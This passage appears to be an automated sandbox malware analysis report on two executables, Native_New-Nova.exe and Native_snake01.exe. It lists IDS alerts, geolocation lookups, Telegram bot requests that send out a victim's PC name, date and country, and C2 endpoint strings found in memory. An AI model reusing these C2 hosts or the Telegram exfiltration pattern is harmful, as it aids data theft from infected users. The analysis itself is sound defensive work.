              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E733E8h16_2_05E73140
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E702E8h16_2_05E70040
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E70FF0h16_2_05E70D48
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E72F90h16_2_05E72CE8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h16_2_05E74CF3
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E72288h16_2_05E71FE0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E740F0h16_2_05E73E48
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E73C98h16_2_05E739F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E70B98h16_2_05E708F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E72B38h16_2_05E72890
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E71E30h16_2_05E71B88
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h16_2_05E74B13
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov ecx, dword ptr [ebp-38h]16_2_06181684
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov ecx, dword ptr [ebp-38h]16_2_061852E0

              Networking

              barindex
              Suricata IDS alerts for network traffic
              Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:63655 -> 149.154.167.220:443
              Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:63653 -> 149.154.167.220:443
              Uses the Telegram API (likely for C&C communication)
              Source: unknownDNS query: name: api.telegram.org
              Source: global trafficTCP traffic: 192.168.2.4:63641 -> 162.159.36.2:53
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:707748%0D%0ADate%20and%20Time:%2007/03/2025%20/%2022:52:54%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20707748%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:707748%0D%0ADate%20and%20Time:%2008/03/2025%20/%2005:19:02%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20707748%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
              Source: Joe Sandbox ViewIP Address: 104.21.16.1 104.21.16.1
              Source: Joe Sandbox ViewIP Address: 104.21.16.1 104.21.16.1
              Source: Joe Sandbox ViewIP Address: 193.122.130.0 193.122.130.0
              Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
              Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
              Source: unknownDNS query: name: checkip.dyndns.org
              Source: unknownDNS query: name: reallyfreegeoip.org
              Source: unknownDNS query: name: checkip.dyndns.org
              Source: unknownDNS query: name: checkip.dyndns.org
              Source: unknownDNS query: name: reallyfreegeoip.org
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49749 -> 132.226.247.73:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49750 -> 132.226.247.73:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49736 -> 132.226.247.73:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 132.226.247.73:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49753 -> 132.226.247.73:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 132.226.247.73:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49739 -> 132.226.247.73:80
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49751 -> 104.21.64.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49764 -> 104.21.64.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49752 -> 104.21.64.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 104.21.64.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 104.21.64.1:443
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49743 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49742 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49744 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49745 version: TLS 1.0
              Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:63649 version: TLS 1.0
              Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
              Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
              Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
              Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:707748%0D%0ADate%20and%20Time:%2007/03/2025%20/%2022:52:54%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20707748%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:707748%0D%0ADate%20and%20Time:%2008/03/2025%20/%2005:19:02%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20707748%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficDNS traffic detected: DNS query: checkip.dyndns.org
              Source: global trafficDNS traffic detected: DNS query: reallyfreegeoip.org
              Source: global trafficDNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa
              Source: global trafficDNS traffic detected: DNS query: api.telegram.org
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 06 Mar 2025 22:05:49 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 06 Mar 2025 22:05:52 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.000000000255B000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.000000000271C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?L
              Source: Native_snake01.exe, 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.0000000002451000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002581000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://aborters.duckdns.org:8081
              Source: Native_snake01.exe, 0000000A.00000002.2956341043.0000000002451000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002581000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://anotherarmy.dns.army:8081
              Source: Native_New-Nova.exe, 00000009.00000002.2956686994.00000000026BC000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.000000000250A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.com
              Source: Native_New-Nova.exe, 00000009.00000002.2956686994.00000000026BC000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2956686994.00000000026AA000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.0000000002451000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.000000000250A000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.00000000024F8000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002581000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org
              Source: Native_New-Nova.exe, 00000009.00000002.2956686994.000000000263B000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2956341043.0000000002451000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.0000000002489000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2957921883.0000000002581000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/
